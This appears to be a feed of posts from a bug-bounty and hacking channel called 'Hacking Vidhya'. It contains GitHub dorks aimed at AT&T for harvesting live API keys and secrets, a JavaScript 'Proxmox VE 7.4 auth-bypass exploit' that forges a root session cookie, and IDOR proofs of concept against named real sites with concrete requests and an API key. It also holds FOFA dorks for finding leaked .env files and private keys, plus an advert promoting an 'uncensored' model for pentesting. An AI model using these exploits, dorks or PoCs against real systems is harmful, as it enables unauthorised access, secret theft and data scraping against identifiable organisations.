Hacking Vidhya

org:att org:att AND "att.com" org:att AND "att.com" path:*.json org:att AND "att.com" path:*.yaml org:att "sk_live_" org:att "pk_live_" org:att AWS_ACCESS_SECRET_KEY org:att "sk-" "openai" org:att filename:/ .env org:att path:/ Dockerfile org:att path:**/settings.py org:"att" ("jwt_secret" OR "JWT_SECRET")

Proxmox VE * PVE 7.4 auth-bypass exploit

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

CORS Misconfiguration On FacebookLeads to Non-Sensitive Exposure https://about.fb.com/wp-json

Site: tring.co.in Bug: IDOR( Insecure Direct Object Refrence) Severity: high Poc:  https://www.tring.co.in/order/track-booking?booking-id=Special_Pay_596522 Note: change the numeric value like 596523 to 596422 or any vale #bugBounty, #ASR827

Not only ChatGPT. 😭

You can run Uncensored GLM-5.3 running in your Codex for bug hunting and pentesting use.

💡Don't miss this Fofa Dorks Here are some advanced FOFA dorks I use to uncover assets & exposures that others miss 👇 # ORG-WIDE / CERT PIVOTS cert.subject="target.com" cert.subject="*.target.com" cert.subject="target.com" && protocol="https" && port="443" domain="target.com" cert.subject="target.com" header="target.com" # broad net # DEV/STAGE/QA SURFACING (common env keywords) domain="target.com" && (host="dev.*" host="stg.*" host="qa.*" host="test.*") # DIRECTORY LISTING / BACKUPS domain="target.com" && title="Index of /" && body="Parent Directory" domain="target.com" && (title="Index of /backup" title="Index of /backups" title="Index of /old") domain="target.com" && (title="Index of /.git" body=".git/HEAD") domain="target.com" && (title="Index of /.svn" body="/.svn/entries") # SECRETS/SPILLS IN TEXT/JS domain="target.com" && header="Content-Type: application/javascript" && body="apiKey" domain="target.com" && (body="AWS_ACCESS_KEY_ID" body="AKIA") domain="target.com" && body="APP_KEY=" # Laravel .env spill domain="target.com" && body="PRIVATE KEY-----" # PEM leaks domain="target.com" && body="eyJhbGciOi" # JWT in responses domain="target.com" && body="//# sourceMappingURL=" # JS source maps # AUTH/SSO/OAUTH PIVOTS domain="target.com" && (body="/oauth/authorize" body="OpenID Connect" body="/.well-known/openid-configuration") # CORS MISCONFIG (weak but good lead list) domain="target.com" && header="Access-Control-Allow-Origin: *" && header="Access-Control-Allow-Credentials: true" # GRAPHQL / SWAGGER / API EXPLORERS domain="target.com" && (title="GraphQL Playground" title="GraphiQL" body="graphql?query=") domain="target.com" && (title="Swagger UI" body="swagger-ui" body="openapi") # DEBUG / STACK TRACE FINGERPRINTS domain="target.com" && (title="Whitelabel Error Page" body="There was an unexpected error (type=)") domain="target.com" && body="Traceback (most recent call last)" domain="target.com" && (body="PHP Notice:" body="PHP Warning:" body="phpinfo()") # CLOUD/EDGE FINGERPRINTS (useful for SSRF/CDN bypass trails) domain="target.com" && header="X-Amzn-Trace-Id" domain="target.com" && header="X-Envoy-Upstream-Service-Time" domain="target.com" && header="Server: nginx" && header="Via: varnish" # ELASTIC / LOGGING / METRICS / CI domain="target.com" && (title="Kibana" || header="kbn-name") domain="target.com" && title="Grafana" && body="Sign in" domain="target.com" && title="Prometheus Time Series Collection and Processing Server" domain="target.com" && title="Jenkins" && body="Login" domain="target.com" && title="SonarQube"

IDOR in Zomato API – Any user with an API key can enumerate restaurant IDs and retrieve complete details, including address, phone numbers, coordinates, menu images, and reviews. Description The API endpoint: https://api.zomato.com/v1/restaurant.json/{restaurant_id}?apikey={api_key} is vulnerable to IDOR because the restaurant_id parameter is not properly protected. By modifying the ID, an attacker can retrieve details of any restaurant without authorization. Impact * Exposes sensitive data (addresses, phone numbers, GPS coordinates). * Allows for mass data scraping (IDs are sequential and predictable). * Could be abused for spam, phishing, or competitor data collection. * Poses privacy and compliance risks (GDPR, local laws). Steps to Reproduce 1. Obtain a valid API key (even a free tier key). 2. Send a request to the following API endpoint: GET https://api.zomato.com/v1/restaurant.json/356?apikey=c0888f94600cc0c9d5b36f6eea167236 3. Examine the response – it will contain the full details of the restaurant. 4. Change the ID to 1, 2, 1000, 99999: GET https://api.zomato.com/v1/restaurant.json/1?apikey=c0888f94600cc0c9d5b36f6eea167236 5. You can enumerate IDs from 1 to 100,000 (or more). Proof of Concept Request: curl -X GET "https://api.zomato.com/v1/restaurant.json/356?apikey=c0888f94600cc0c9d5b36f6eea167236" Response Snippet: `{ "id": 356, "name": "New Kadimi", "location": { "address": "Satyam Cineplex, District Centre, Janakpuri, New Delhi", "latitude": "28.6300830000", "longitude": "77.0799200000" }, "phone": "011 41587171, 011 41587272, +91 9212124936" } ` What an Attacker Can Do * Scrape details of all restaurants, including phone numbers, addresses, and menus. * Create fake competitor applications. * Spam or call restaurants. * Cause a privacy breach. Severity High – Data exposure and mass enumeration are possible. Fix Recommendation * Validate user permissions for the restaurant_id. * Stop exposing unnecessary sensitive fields. * Implement rate limiting. * Use randomized IDs or tokens.

🚨 HACKING VIDHYA PRIVATE COMMUNITY IS HERE! 🚨 Want to learn Web Application Pentesting properly with complete resources, guidance, private methodologies, and community support? 🔥 Join our exclusive Private Telegram Community and get access to: 🔐Complete Web Application Pentesting Resources 🔖 Structured Courses & Learning Roadmaps 🤖 AI-Powered Pentesting Techniques 💰 Guidance on how to start earning in your starting phase Mobile Application Pentesting & Security 🎯Advanced & Private Methodologies 💼 Cybersecurity Job & Career Guidance 🤝 Direct Community Support 👾 Some content will be available in recorded video format, while selected topics and practical discussions will be conducted through LIVE VC Sessions. 🔥 This isn't just another course — it's a private community designed to help you learn practical cybersecurity skills, grow your knowledge, and build your career. 💰Entry Price: ₹3,000 per person ⚠️ LIMITED SEATS — Once the seats are filled, registrations will be closed! 👇 DON'T WAIT UNTIL IT'S TOO LATE! ✉️ DM @sttexo RIGHT NOW to secure your seat. 🚀 SERIOUS LEARNERS ONLY! 🔥 Learn • Practice • Grow • Build Your Career 🔥 — Hacking Vidhya ::✍️

DIRECTORY TRANSERVAL LEADS TO LEAKAGE OF CONFIGURATION FILES Site: http://www.kaalk.com/etc/ State: Exploitable Severity: Critical